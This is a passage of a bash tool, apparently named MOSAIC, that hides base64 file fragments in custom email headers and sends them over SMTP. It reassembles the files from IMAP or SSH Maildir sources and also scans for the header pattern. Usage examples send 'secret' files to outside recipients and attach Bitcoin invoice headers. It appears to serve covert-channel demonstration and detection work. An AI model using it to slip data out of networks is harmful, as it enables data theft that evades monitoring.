    if [[ $num_emails -gt 3 ]]; then
        echo -e "        └── ${DIM}... (${num_emails} total)${RESET}"
    fi
    echo ""
    if [[ -n "$SMTP_SERVER" ]]; then
        success "Fragment emails sent and saved locally"
    else
        success "Fragment emails ready for transmission"
    fi
    echo ""
}

# ─── Decode Mode ─────────────────────────────────────────────────────────

mode_decode() {
    WORK_DIR=$(portable_mktemp)
    local email_source=""

    if [[ -n "$IMAP_SERVER" && -n "$MAIL_USER" && -n "$MAIL_PASS" ]]; then
        # ── IMAP retrieval ──
        if [[ -z "${SUBJECT_TAG_SET:-}" && -z "$SEARCH_DAYS" ]]; then
            fail "IMAP decode requires ${BOLD}--subject TAG${RESET} or ${BOLD}--days N${RESET}"
            echo -e "  ${DIM}Example: ./mosaic.sh decode --imap-server ... --user USER --pass PASS --subject MOSAIC-1234567890${RESET}"
            echo -e "  ${DIM}Example: ./mosaic.sh decode --imap-server ... --user USER --pass PASS --days 7${RESET}"
            exit 1
        fi

        email_source="IMAP: ${IMAP_SERVER}"

        header_line "PHASE 1: RETRIEVING FROM IMAP"
        echo ""
        status "Connecting to ${BOLD}${IMAP_SERVER}${RESET}..."

        # Build IMAP SEARCH query
        local search_query=""
        if [[ -n "$SEARCH_DAYS" ]]; then
            # Compute the date N days ago in DD-Mon-YYYY format (RFC 3501)
            local since_date
            if date -v-1d &>/dev/null 2>&1; then
                # BSD date (macOS)
                since_date=$(date -v-"${SEARCH_DAYS}"d +"%d-%b-%Y")
            else
                # GNU date
                since_date=$(date -d "${SEARCH_DAYS} days ago" +"%d-%b-%Y")
            fi
            search_query="SINCE ${since_date}"
            status "Searching emails since ${BOLD}${since_date}${RESET}..."
        fi
        if [[ -n "${SUBJECT_TAG_SET:-}" ]]; then
            if [[ -n "$search_query" ]]; then
                search_query="${search_query} SUBJECT \"${SUBJECT_TAG}\""
            else
                search_query="SUBJECT \"${SUBJECT_TAG}\""
            fi
            status "Filtering by subject: ${BOLD}${SUBJECT_TAG}${RESET}..."
        fi
        echo ""

        local dl_dir="${WORK_DIR}/imap_decode"
        mkdir -p "$dl_dir"

        # Search IMAP
        local msg_list
        msg_list=$(curl --silent --show-error \
            --connect-timeout 15 --max-time 30 \
            --url "${IMAP_SERVER}/INBOX" \
            --user "${MAIL_USER}:${MAIL_PASS}" \
            --request "UID SEARCH ${search_query}" 2>&1) || true

        if [[ "$msg_list" == *"timed out"* || "$msg_list" == *"Connection refused"* || "$msg_list" == *"Could not resolve"* ]]; then
            fail "IMAP connection failed: ${msg_list}"
            exit 1
        fi

        local uids=""
        if [[ "$msg_list" =~ SEARCH[[:space:]]+(.*) ]]; then
            uids=$(echo "${BASH_REMATCH[1]}" | tr -d '\r')
        fi

        if [[ -z "$uids" || "$uids" == " " ]]; then
            fail "No messages found matching search criteria"
            exit 1
        fi

        local count=0
        for uid in $uids; do
            [[ -z "$uid" ]] && continue
            count=$((count + 1))
            local emlfile="${dl_dir}/msg_$(printf '%04d' $count).eml"
            if curl --silent \
                --connect-timeout 15 --max-time 30 \
                --url "${IMAP_SERVER}/INBOX;UID=${uid}" \
                --user "${MAIL_USER}:${MAIL_PASS}" \
                > "$emlfile" 2>/dev/null && [[ -s "$emlfile" ]]; then
                echo -e "    ${MAIL} Downloaded message UID ${BOLD}${uid}${RESET}"
            else
                echo -e "    ${CROSS} Failed to download UID ${BOLD}${uid}${RESET}"
                rm -f "$emlfile"
            fi
        done
        echo ""
        success "Retrieved ${BOLD}${count}${RESET} emails from IMAP"

        DECODE_DIR="$dl_dir"

    elif [[ -n "$SSH_HOST" ]]; then
        # ── SSH Maildir retrieval ──
        if [[ -z "$MAILDIR_PATH" ]]; then
            fail "SSH decode requires ${BOLD}--maildir PATH${RESET}"
            echo -e "  ${DIM}Example: ./mosaic.sh decode --ssh user@host --maildir /home/vmail/domain/user/Maildir/${RESET}"
            exit 1
        fi

        email_source="SSH: ${SSH_HOST}:${MAILDIR_PATH}"

        header_line "PHASE 1: RETRIEVING VIA SSH"
        echo ""
        status "Connecting to ${BOLD}${SSH_HOST}${RESET}..."

        # SSH connection multiplexing — one connection for all operations
        local ssh_ctl="${WORK_DIR}/ssh_ctl"
        local ssh_mux=(-o "ControlMaster=auto" -o "ControlPath=${ssh_ctl}" -o "ControlPersist=60")

        # Build remote search command with optional --days and --subject filters
        local remote_cmd=""
        local ssh_filters=""
        if [[ -n "$SEARCH_DAYS" ]]; then
            remote_cmd="find '${MAILDIR_PATH}' -type f -mtime -${SEARCH_DAYS}"
            ssh_filters="last ${SEARCH_DAYS} day(s)"
        else
            remote_cmd="find '${MAILDIR_PATH}' -type f"
            ssh_filters="all files"
        fi
        if [[ -n "${SUBJECT_TAG_SET:-}" ]]; then
            remote_cmd+=" | xargs grep -l 'Subject:.*${SUBJECT_TAG}' 2>/dev/null"
            ssh_filters+=", subject: ${SUBJECT_TAG}"
        fi
        remote_cmd+=" | xargs grep -l 'X-Custom-X[A-Z][A-Z]-X[A-Z][A-Z]' 2>/dev/null"

        status "Scanning ${BOLD}${MAILDIR_PATH}${RESET} for MOSAIC fragments (${ssh_filters})..."

        # Phase 1: Remote search to locate files with MOSAIC headers
        local remote_results
        remote_results=$(ssh "${ssh_mux[@]}" "$SSH_HOST" "$remote_cmd") || true

        if [[ -z "$remote_results" ]]; then
            ssh -O exit -o "ControlPath=${ssh_ctl}" "$SSH_HOST" 2>/dev/null || true
            fail "No MOSAIC fragment patterns found on remote server"
            exit 1
        fi

        local remote_count
        remote_count=$(echo "$remote_results" | wc -l)
        status "Found ${BOLD}${remote_count}${RESET} files with MOSAIC headers"
        status "Downloading..."
        echo ""

        # Phase 2: Download the flagged files (reuses multiplexed connection)
        local dl_dir="${WORK_DIR}/ssh_decode"
        mkdir -p "$dl_dir"
        local i=0
        while IFS= read -r remote_file; do
            [[ -z "$remote_file" ]] && continue
            i=$((i + 1))
            local local_file="${dl_dir}/remote_$(printf '%04d' $i).eml"
            if scp "${ssh_mux[@]}" -q "${SSH_HOST}:${remote_file}" "$local_file" 2>/dev/null; then
                echo -e "    ${MAIL} Downloaded ${DIM}$(basename "$remote_file")${RESET}"
            else
                echo -e "    ${CROSS} Failed ${DIM}$(basename "$remote_file")${RESET}"
            fi
        done <<< "$remote_results"
        echo ""
        success "Retrieved ${BOLD}${i}${RESET} files via SSH"

        # Close multiplexed connection
        ssh -O exit -o "ControlPath=${ssh_ctl}" "$SSH_HOST" 2>/dev/null || true

        DECODE_DIR="$dl_dir"

    elif [[ -n "$DECODE_DIR" ]]; then
        # ── Local directory ──
        if [[ ! -d "$DECODE_DIR" ]]; then
            fail "Directory not found: ${BOLD}${DECODE_DIR}${RESET}"
            exit 1
        fi
    else
        fail "The ${BOLD}decode${RESET} mode requires a source:"
        echo -e "  ${DIM}--dir PATH                                                          Local .eml files${RESET}"
        echo -e "  ${DIM}--imap-server URL --user USER --pass PASS --subject TAG              IMAP by subject${RESET}"
        echo -e "  ${DIM}--imap-server URL --user USER --pass PASS --days N                   IMAP last N days${RESET}"
        echo -e "  ${DIM}--ssh USER@HOST --maildir PATH                                      SSH Maildir${RESET}"
        exit 1
    fi

    local phase=1
    [[ -n "$email_source" ]] && phase=2
    header_line "PHASE ${phase}: SCANNING EMAIL FILES"
    echo ""
    status "Reading emails from ${BOLD}${DECODE_DIR}${RESET}..."
    echo ""

    local eml_count
    eml_count=$(ls "${DECODE_DIR}"/*.eml 2>/dev/null | wc -l)
    if [[ $eml_count -eq 0 ]]; then
        fail "No .eml files found in ${BOLD}${DECODE_DIR}${RESET}"
        exit 1
    fi
    success "Found ${BOLD}${eml_count}${RESET} email files"

    echo ""
    phase=$((phase + 1))
    header_line "PHASE ${phase}: EXTRACTION & REASSEMBLY"
    echo ""

    local output_file="./mosaic_decoded"
    if ! extract_and_reassemble "$DECODE_DIR" "$output_file"; then
        echo ""
        fail "Extraction failed — could not reassemble file from emails"
        exit 1
    fi

    # Detect file type and add appropriate extension
    local outtype
    outtype=$(detect_filetype "$output_file")
    local ext=""
    case "$outtype" in
        *PNG*)  ext="png" ;;
        *JPEG*) ext="jpg" ;;
        *GIF*)  ext="gif" ;;
        *PDF*)  ext="pdf" ;;
        *Zip*)  ext="zip" ;;
        *gzip*) ext="gz" ;;
        *tar*)  ext="tar" ;;
    esac
    if [[ -n "$ext" ]]; then
        mv "$output_file" "${output_file}.${ext}"
        output_file="${output_file}.${ext}"
    fi

    # Verify against embedded digest
    echo ""
    header_line "VERIFICATION"
    echo ""

    local actual_hash
    actual_hash=$(compute_sha256 "$output_file")

    local embedded_digest=""
    local embedded_btc=""
    local embedded_invoice=""
    local embedded_from=""
    local embedded_to=""
    local embedded_subject=""
    local first_eml
    first_eml=$(ls "${DECODE_DIR}"/*.eml 2>/dev/null | head -1)
    if [[ -n "$first_eml" ]]; then
        while IFS= read -r line; do
            line="${line%$'\r'}"
            [[ -z "$line" ]] && break
            if [[ "$line" =~ ^X-Custom-Digest:[[:space:]]*(.*) ]]; then
                embedded_digest="${BASH_REMATCH[1]}"
            fi
            if [[ "$line" =~ ^X-Invoice-([^:]+):[[:space:]]*(.*) ]]; then
                embedded_invoice="${BASH_REMATCH[1]}"
                embedded_btc="${BASH_REMATCH[2]}"
            fi
            if [[ "$line" =~ ^From:[[:space:]]*(.*) ]]; then
                embedded_from="${BASH_REMATCH[1]}"
            fi
            if [[ "$line" =~ ^To:[[:space:]]*(.*) ]]; then
                embedded_to="${BASH_REMATCH[1]}"
            fi
            if [[ "$line" =~ ^Subject:[[:space:]]*(.*) ]]; then
                embedded_subject="${BASH_REMATCH[1]}"
            fi
        done < "$first_eml"
    fi

    if [[ -n "$embedded_digest" && "$embedded_digest" != "none" ]]; then
        status "Embedded SHA256: ${DIM}${embedded_digest}${RESET}"
        status "Decoded SHA256:  ${DIM}${actual_hash}${RESET}"
        echo ""
        if [[ "$actual_hash" == "$embedded_digest" ]]; then
            echo -e "  ${CHECK} ${BOLD}${GREEN}INTEGRITY VERIFIED${RESET} - SHA256 matches embedded digest"
        else
            echo -e "  ${CROSS} ${BOLD}${RED}INTEGRITY CHECK FAILED${RESET} - SHA256 does not match embedded digest"
        fi
    else
        status "SHA256: ${DIM}${actual_hash}${RESET}"
        echo ""
        warn "No embedded digest found — cannot verify integrity"
    fi

    echo ""
    header_line "RESULT"
    echo ""
    local outsize
    outsize=$(wc -c < "$output_file")
    echo -e "    File:   ${BOLD}$(basename "$output_file")${RESET}"
    echo -e "    Size:   ${BOLD}${outsize}${RESET} bytes"
    echo -e "    Type:   ${DIM}${outtype}${RESET}"
    echo ""
    success "Decoded file saved to: ${BOLD}${output_file}${RESET}"
    echo ""

    # Record in blockchain ledger (decode/receive side)
    if [[ -n "$embedded_btc" ]] && awk "BEGIN {exit !(${embedded_btc}+0 > 0)}" 2>/dev/null; then
        local frag_count
        frag_count=$(ls "${DECODE_DIR}"/*.eml 2>/dev/null | wc -l | tr -d ' ')
        local entry_hash
        entry_hash=$(ledger_record "decode" "$actual_hash" "$(basename "$output_file")" \
            "$outsize" "$frag_count" "$embedded_invoice" "$embedded_btc" \
            "$embedded_from" "$embedded_to" "${embedded_subject:-unknown}")
        echo -e "  ${CHECK} Ledger: Block #$(_ledger_count) recorded ${DIM}(${entry_hash:0:16}...)${RESET}"
        echo ""
    fi
}

# ─── Scan Mode ───────────────────────────────────────────────────────────

mode_scan() {
    header_line "MOSAIC DETECTION SCAN"
    echo ""

    local scan_source=""
    local emailfiles=()

    WORK_DIR=$(portable_mktemp)

    if [[ -n "$DECODE_DIR" ]]; then
        # ── Local directory scan ──
        scan_source="Local directory: ${DECODE_DIR}"
        status "Scanning ${BOLD}${DECODE_DIR}${RESET} for MOSAIC fragment patterns..."
        echo ""

        if [[ ! -d "$DECODE_DIR" ]]; then
            fail "Directory not found: $DECODE_DIR"
            exit 1
        fi

        # Find .eml files
        while IFS= read -r -d '' f; do
            emailfiles+=("$f")
        done < <(find "$DECODE_DIR" -type f \( -name '*.eml' -o -name '*.email' -o -name 'msg_*' \) -print0 2>/dev/null)

        # If no .eml files found, check all files for email headers
        if [[ ${#emailfiles[@]} -eq 0 ]]; then
            while IFS= read -r -d '' f; do
                if head -5 "$f" 2>/dev/null | grep -qi "^From:\|^Subject:\|^Date:"; then
                    emailfiles+=("$f")
                fi
            done < <(find "$DECODE_DIR" -type f -print0 2>/dev/null)
        fi

    elif [[ -n "$SSH_HOST" ]]; then
        # ── SSH Maildir scan ──
        if [[ -z "$MAILDIR_PATH" ]]; then
            fail "SSH scan requires ${BOLD}--maildir PATH${RESET}"
            echo -e "  ${DIM}Example: ./mosaic.sh scan --ssh user@host --maildir /home/vmail/domain/user/Maildir/${RESET}"
            exit 1
        fi

        scan_source="SSH: ${SSH_HOST}:${MAILDIR_PATH}"
        status "Connecting to ${BOLD}${SSH_HOST}${RESET}..."

        # SSH connection multiplexing — one connection for all operations
        local ssh_ctl="${WORK_DIR}/ssh_ctl"
        local ssh_mux=(-o "ControlMaster=auto" -o "ControlPath=${ssh_ctl}" -o "ControlPersist=60")

        # Build remote search command with optional --days and --subject filters
        local remote_cmd=""
        local ssh_filters=""
        if [[ -n "$SEARCH_DAYS" ]]; then
            remote_cmd="find '${MAILDIR_PATH}' -type f -mtime -${SEARCH_DAYS}"
            ssh_filters="last ${SEARCH_DAYS} day(s)"
        else
            remote_cmd="find '${MAILDIR_PATH}' -type f"
            ssh_filters="all files"
        fi
        if [[ -n "${SUBJECT_TAG_SET:-}" ]]; then
            remote_cmd+=" | xargs grep -l 'Subject:.*${SUBJECT_TAG}' 2>/dev/null"
            ssh_filters+=", subject: ${SUBJECT_TAG}"
        fi
        remote_cmd+=" | xargs grep -l 'X-Custom-X[A-Z][A-Z]-X[A-Z][A-Z]' 2>/dev/null"

        status "Scanning ${BOLD}${MAILDIR_PATH}${RESET} for MOSAIC fragment patterns (${ssh_filters})..."

        # Phase 1: Remote search to locate suspicious files
        local remote_results
        remote_results=$(ssh "${ssh_mux[@]}" "$SSH_HOST" "$remote_cmd") || true

        if [[ -z "$remote_results" ]]; then
            ssh -O exit -o "ControlPath=${ssh_ctl}" "$SSH_HOST" 2>/dev/null || true
            success "No MOSAIC fragment patterns detected on remote server"
            echo ""
            return 0
        fi

        local remote_count
        remote_count=$(echo "$remote_results" | wc -l)
        status "Found ${BOLD}${remote_count}${RESET} suspicious files on remote server"
        status "Downloading for detailed analysis..."
        echo ""

        # Phase 2: Download only the flagged files (reuses multiplexed connection)
        local dl_dir="${WORK_DIR}/downloaded"
        mkdir -p "$dl_dir"
        local i=0
        while IFS= read -r remote_file; do
            [[ -z "$remote_file" ]] && continue
            i=$((i + 1))
            local local_file="${dl_dir}/remote_$(printf '%04d' $i).eml"
            scp "${ssh_mux[@]}" -q "${SSH_HOST}:${remote_file}" "$local_file" 2>/dev/null
            if [[ -f "$local_file" ]]; then
                emailfiles+=("$local_file")
                echo -e "    ${MAIL} Downloaded ${DIM}$(basename "$remote_file")${RESET}"
            fi
        done <<< "$remote_results"
        echo ""

        # Close multiplexed connection
        ssh -O exit -o "ControlPath=${ssh_ctl}" "$SSH_HOST" 2>/dev/null || true

    elif [[ -n "$IMAP_SERVER" && -n "$MAIL_USER" && -n "$MAIL_PASS" ]]; then
        # ── IMAP scan ──
        scan_source="IMAP: ${IMAP_SERVER}"
        status "Connecting to ${BOLD}${IMAP_SERVER}${RESET}..."

        # Build IMAP SEARCH query
        local scan_search="ALL"
        if [[ -n "$SEARCH_DAYS" ]]; then
            local since_date
            if date -v-1d &>/dev/null 2>&1; then
                since_date=$(date -v-"${SEARCH_DAYS}"d +"%d-%b-%Y")
            else
                since_date=$(date -d "${SEARCH_DAYS} days ago" +"%d-%b-%Y")
            fi
            scan_search="SINCE ${since_date}"
            status "Searching emails since ${BOLD}${since_date}${RESET}..."
        fi
        echo ""

        local msg_list
        msg_list=$(curl --silent --show-error \
            --connect-timeout 15 --max-time 30 \
            --url "${IMAP_SERVER}/INBOX" \
            --user "${MAIL_USER}:${MAIL_PASS}" \
            --request "UID SEARCH ${scan_search}" 2>&1) || true

        if [[ "$msg_list" == *"timed out"* || "$msg_list" == *"Connection refused"* || "$msg_list" == *"Could not resolve"* ]]; then
            fail "IMAP connection failed: ${msg_list}"
            exit 1
        fi

        local uids=""
        if [[ "$msg_list" =~ SEARCH[[:space:]]+(.*) ]]; then
            uids=$(echo "${BASH_REMATCH[1]}" | tr -d '\r')
        fi

        if [[ -z "$uids" || "$uids" == " " ]]; then
            warn "No messages found in inbox"
            return 0
        fi

        local dl_dir="${WORK_DIR}/imap"
        mkdir -p "$dl_dir"
        local count=0
        local dl_ok=0
        for uid in $uids; do
            [[ -z "$uid" ]] && continue
            count=$((count + 1))
            local emlfile="${dl_dir}/msg_${uid}.eml"
            if curl --silent \
                --connect-timeout 15 --max-time 30 \
                --url "${IMAP_SERVER}/INBOX;UID=${uid}" \
                --user "${MAIL_USER}:${MAIL_PASS}" \
                > "$emlfile" 2>/dev/null; then
                if [[ -s "$emlfile" ]]; then
                    emailfiles+=("$emlfile")
                    dl_ok=$((dl_ok + 1))
                    echo -e "    ${MAIL} Downloaded message UID ${BOLD}${uid}${RESET}"
                else
                    rm -f "$emlfile"
                    echo -e "    ${CROSS} UID ${BOLD}${uid}${RESET} returned empty"
                fi
            else
                echo -e "    ${CROSS} Failed to download UID ${BOLD}${uid}${RESET}"
                rm -f "$emlfile"
            fi
        done
        echo ""
        status "Downloaded ${BOLD}${dl_ok}${RESET} of ${count} messages for analysis"
        echo ""

    else
        fail "Specify a scan source:"
        echo -e "  ${DIM}--dir PATH                                    Local directory${RESET}"
        echo -e "  ${DIM}--ssh USER@HOST --maildir PATH                SSH Maildir scan${RESET}"
        echo -e "  ${DIM}--imap-server URL --user USER --pass PASS     IMAP scan${RESET}"
        exit 1
    fi

    if [[ ${#emailfiles[@]} -eq 0 ]]; then
        warn "No email files found to scan"
        return 0
    fi

    status "Analyzing ${BOLD}${#emailfiles[@]}${RESET} email files..."
    echo ""

    # ── Scan for MOSAIC patterns ──
    local suspicious_count=0
    local total_scanned=0
    local total_payload_bytes=0

    for emlfile in "${emailfiles[@]}"; do
        total_scanned=$((total_scanned + 1))
        local found_mosaic=0
        local header_name=""
        local header_value=""
        local email_date=""
        local email_subject=""

        while IFS= read -r line; do
            line="${line%$'\r'}"
            [[ -z "$line" ]] && break

            if [[ "$line" =~ ^Date:[[:space:]]*(.*) ]]; then
                email_date="${BASH_REMATCH[1]}"
            fi
            if [[ "$line" =~ ^Subject:[[:space:]]*(.*) ]]; then
                email_subject="${BASH_REMATCH[1]}"
            fi
            if [[ "$line" =~ ^(X-Custom-X[A-Z][A-Z]-X[A-Z][A-Z]):[[:space:]]*(.*) ]]; then
                header_name="${BASH_REMATCH[1]}"
                header_value="${BASH_REMATCH[2]}"
                found_mosaic=1
            fi
        done < "$emlfile"

        if [[ $found_mosaic -eq 1 ]]; then
            suspicious_count=$((suspicious_count + 1))
            local payload_size=${#header_value}
            total_payload_bytes=$((total_payload_bytes + payload_size))

            local seq_part="${header_name#X-Custom-}"
            local seq_code="${seq_part%%-*}"
            local tot_code="${seq_part##*-}"
            local seq_num
            seq_num=$(seq_to_num "$seq_code")
            local tot_num
            tot_num=$(seq_to_num "$tot_code")

            echo -e "    ${RED}⬤${RESET}  ${BOLD}$(basename "$emlfile")${RESET}"
            echo -e "       Header:   ${YELLOW}${header_name}${RESET}"
            echo -e "       Fragment: ${BOLD}${seq_num} of ${tot_num}${RESET}"
            echo -e "       Payload:  ${payload_size} bytes of base64 data"
            [[ -n "$email_subject" ]] && echo -e "       Subject:  ${DIM}${email_subject}${RESET}"
            [[ -n "$email_date" ]] && echo -e "       Date:     ${DIM}${email_date}${RESET}"
            echo ""
        fi
    done

    # ── Detection Report ──
    echo ""
    header_line "DETECTION REPORT"
    echo ""

    if [[ $suspicious_count -eq 0 ]]; then
        echo -e "    ${CHECK} ${GREEN}No MOSAIC fragment patterns detected${RESET}"
    else
        echo -e "    ${CROSS} ${RED}${BOLD}MOSAIC FRAGMENT PATTERN DETECTED${RESET}"
        echo ""
        echo -e "    ${BOLD}Summary:${RESET}"
        echo -e "    ────────────────────────────────────────"
        echo -e "    Emails scanned:      ${BOLD}${total_scanned}${RESET}"
        echo -e "    Suspicious emails:   ${BOLD}${RED}${suspicious_count}${RESET}"
        echo -e "    Total payload:       ${BOLD}${total_payload_bytes}${RESET} bytes (base64)"
        local est_file_size=$(( total_payload_bytes * 3 / 4 ))
        echo -e "    Est. file size:      ${BOLD}~${est_file_size}${RESET} bytes"
        echo -e "    Header pattern:      ${YELLOW}X-Custom-X??-X??${RESET}"
        echo -e "    Scan source:         ${DIM}${scan_source}${RESET}"
    fi
    echo ""
}

# ─── Argument Parsing ───────────────────────────────────────────────────

usage() {
    echo -e "${BOLD}Usage:${RESET} $(basename "$0") <mode> [options]"
    echo ""
    echo -e "${BOLD}Modes:${RESET}"
    echo "  demo        Local demo (fragment + reassemble in one step)"
    echo "  fragment    Fragment a file into email messages"
    echo "  decode      Reassemble a file from email messages"
    echo "  scan        Scan for MOSAIC fragment patterns"
    echo "  detect      Heuristic analysis for header-channel exfiltration (pattern-agnostic)"
    echo "  ledger      View and verify blockchain transaction ledger"
    echo ""
    echo -e "${BOLD}Options:${RESET}"
    echo "  --file PATH           Input file (required for demo, fragment)"
    echo "  --dir PATH            Directory of .eml files (decode or scan)"
    echo "  --chunks N            Number of fragments"
    echo "  --lines-per-chunk N   Lines per fragment (default: 1000)"
    echo "  --subject TAG         Subject tag for IMAP retrieval (decode)"
    echo "  --days N              Search last N days via IMAP (decode or scan)"
    echo "  --smtp-server URL     SMTP server URL (fragment mode)"
    echo "  --imap-server URL     IMAP server URL (decode or scan)"
    echo "  --user USER           Mail username"
    echo "  --pass PASS           Mail password"
    echo "  --from ADDR           Sender email address (fragment SMTP)"
    echo "  --to ADDR             Recipient email address (fragment SMTP)"
    echo "  --randomize           Randomize fragment sizes (30-170% of average)"
    echo "  --btc AMOUNT          Bitcoin amount to embed in invoice header"
    echo "  --invoice ID          Invoice identifier (auto-generated if omitted)"
    echo "  --ledger PATH         Path to blockchain ledger file (override default)"
    echo "  --list                Show all ledger entries (ledger mode)"
    echo "  --verify              Verify blockchain chain integrity (ledger mode)"
    echo "  --query HASH          Query ledger by file SHA-256 hash (ledger mode)"
    echo "  --tamper-demo         Demonstrate tamper detection (ledger mode)"
    echo "  --ssh USER@HOST       SSH host for Maildir scan"
    echo "  --maildir PATH        Maildir path on remote server"
    echo "  --help                Show this help"
    echo ""
    echo -e "${BOLD}Examples:${RESET}"
    echo "  $(basename "$0") demo --file photo.jpg"
    echo "  $(basename "$0") demo --file secret.pdf --chunks 10"
    echo ""
    echo "  # Fragment locally"
    echo "  $(basename "$0") fragment --file secret.jpg --chunks 5"
    echo ""
    echo "  # Fragment with randomized chunk sizes"
    echo "  $(basename "$0") fragment --file secret.jpg --chunks 8 --randomize"
    echo ""
    echo "  # Fragment with invoice"
    echo "  $(basename "$0") fragment --file secret.jpg --chunks 5 --btc 0.005 --invoice INV-0042"
    echo ""
    echo "  # Fragment and send via SMTP"
    echo "  $(basename "$0") fragment --file secret.jpg --chunks 5 \\"
    echo "      --smtp-server smtps://mail.example.com:465 \\"
    echo "      --user user --pass secret --from sender@example.com --to receiver@example.com"
    echo ""
    echo "  # Decode from local .eml files"
    echo "  $(basename "$0") decode --dir ./mosaic_output/emails/"
    echo ""
    echo "  # Decode by pulling from IMAP (by subject tag)"
    echo "  $(basename "$0") decode --imap-server imaps://mail.example.com:993 \\"
    echo "      --user user --pass secret --subject MOSAIC-1234567890"
    echo ""
    echo "  # Decode by pulling from IMAP (last 7 days)"
    echo "  $(basename "$0") decode --imap-server imaps://mail.example.com:993 \\"
    echo "      --user user --pass secret --days 7"
    echo ""
    echo "  # Decode via SSH Maildir"
    echo "  $(basename "$0") decode --ssh root@mail.example.com --maildir /home/vmail/domain/user/Maildir/"
    echo ""
    echo "  # Scan"
    echo "  $(basename "$0") scan --dir ./mosaic_output/emails/"
    echo "  $(basename "$0") scan --imap-server imaps://mail.example.com:993 --user user --pass secret"
    echo "  $(basename "$0") scan --imap-server imaps://mail.example.com:993 --user user --pass secret --days 7"
    echo "  $(basename "$0") scan --ssh root@mail.example.com --maildir /home/vmail/domain/user/Maildir/"
    echo ""
    echo "  # Detect (pattern-agnostic heuristic analysis)"
    echo "  $(basename "$0") detect --dir ./demo/emails/"
    echo ""
    echo "  # Blockchain ledger"
    echo "  $(basename "$0") ledger --list                      (show all transactions)"
    echo "  $(basename "$0") ledger --verify                    (verify chain integrity)"
    echo "  $(basename "$0") ledger --query 4c535f1caeb220...   (find entries by file hash)"
    echo "  $(basename "$0") ledger --tamper-demo               (demonstrate tamper detection)"
    echo ""
}

MODE=""

parse_args() {
    if [[ $# -eq 0 ]]; then
        usage
        exit 0
    fi

    MODE="$1"
    if [[ "$MODE" == "--help" || "$MODE" == "-h" ]]; then
        usage
        exit 0
    fi
    shift

    while [[ $# -gt 0 ]]; do
        case "$1" in
            --file)
                INPUT_FILE="$2"; shift 2 ;;
            --chunks)
                NUM_CHUNKS="$2"; shift 2 ;;
            --lines-per-chunk)
                LINES_PER_CHUNK="$2"; shift 2 ;;
            --subject)
                SUBJECT_TAG="$2"; SUBJECT_TAG_SET=1; shift 2 ;;
            --dir)
                DECODE_DIR="$2"; shift 2 ;;
            --smtp-server)
                SMTP_SERVER="$2"; shift 2 ;;
            --imap-server)
                IMAP_SERVER="$2"; shift 2 ;;
            --user)
                MAIL_USER="$2"; shift 2 ;;
            --pass)
                MAIL_PASS="$2"; shift 2 ;;
            --from)
                MAIL_FROM="$2"; shift 2 ;;
            --to)
                MAIL_TO="$2"; shift 2 ;;
            --ssh)
                SSH_HOST="$2"; shift 2 ;;
            --maildir)
                MAILDIR_PATH="$2"; shift 2 ;;
            --days)
                SEARCH_DAYS="$2"; shift 2 ;;
            --btc)
                BTC_AMOUNT="$2"; shift 2 ;;
            --invoice)
                INVOICE_ID="$2"; shift 2 ;;
            --randomize)
                RANDOMIZE=1; shift ;;
            --list)
                LEDGER_SUBCMD="list"; shift ;;
            --verify)
                LEDGER_SUBCMD="verify"; shift ;;
            --query)
                LEDGER_QUERY_HASH="$2"; LEDGER_SUBCMD="query"; shift 2 ;;
            --tamper-demo)
                LEDGER_SUBCMD="tamper-demo"; shift ;;
            --ledger)
                LEDGER_FILE="$2"; shift 2 ;;
            --help|-h)
                usage; exit 0 ;;
            *)
                fail "Unknown option: $1"
                usage
                exit 1 ;;
        esac
    done
}

# ─── Main ───────────────────────────────────────────────────────────────

main() {
	banner
    check_deps
    parse_args "$@"

    case "$MODE" in
        demo)
            mode_demo ;;
        fragment|frag)
            mode_fragment ;;
        decode|reassemble)
            mode_decode ;;
        scan)
            mode_scan ;;
        detect)
            mode_detect ;;
        ledger)
            mode_ledger ;;
        *)
            fail "Unknown mode: $MODE"
            echo ""
            usage
            exit 1 ;;
    esac
}

main "$@"
